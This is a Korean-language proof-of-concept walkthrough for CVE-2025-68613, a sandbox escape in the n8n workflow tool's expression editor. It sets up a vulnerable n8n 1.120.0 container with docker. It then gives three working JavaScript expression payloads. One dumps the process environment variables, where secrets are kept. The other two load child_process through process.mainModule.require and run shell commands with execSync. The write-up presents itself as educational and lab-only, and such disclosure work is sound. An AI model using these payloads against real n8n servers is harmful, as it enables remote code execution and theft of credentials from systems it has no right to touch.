
CVE-2025-68613용 POC
교육 목적 전용 이 PoC는 n8n의 심각한 취약점(CVE-2025-68613)을 시연합니다. 소유하지 않은 시스템이나 명시적인 테스트 허가를 받지 않은 시스템에서는 사용하지 마십시오.
1.122.0 이전 버전의 n8n에는 원격 코드 실행(RCE) 취약점이 존재합니다. 인증된 사용자는 워크플로 표현식 편집기의 특정 JavaScript 페이로드를 통해 표현식 샌드박스를 우회하고 호스트 시스템에서 임의 코드를 실행할 수 있습니다.
데이터 볼륨을 생성하고 취약한 버전의 n8n(예: v1.120.0)을 실행합니다.
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
http://localhost:5678로 이동하여 필요 시 초기 설정을 완료합니다.

"Add Workflow"를 클릭하여 빈 워크플로를 시작합니다.

워크플로에 Set 노드를 추가합니다. 이 노드는 표현식으로 평가할 수 있는 값을 정의할 수 있게 해줍니다.

Set 노드에서 매개변수(예: value)를 수정하고 입력 유형을 Expression으로 변경합니다.

취약점을 시연하기 위해 다음 페이로드를 표현식 편집기에 입력합니다.
이 페이로드는 this.process.env에 접근하여 컨테이너의 민감한 환경 변수를 유출합니다.
페이로드:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
결과:

이 페이로드는 process.mainModule.require에 접근하여 child_process 모듈을 로드함으로써 샌드박스를 우회하고 임의의 시스템 명령을 실행할 수 있게 합니다.
페이로드:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

결과: 실행 중인 프로세스의 사용자 컨텍스트를 확인합니다.
파일 시스템을 탐색할 수 있는 능력을 시연합니다.
페이로드:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
결과:
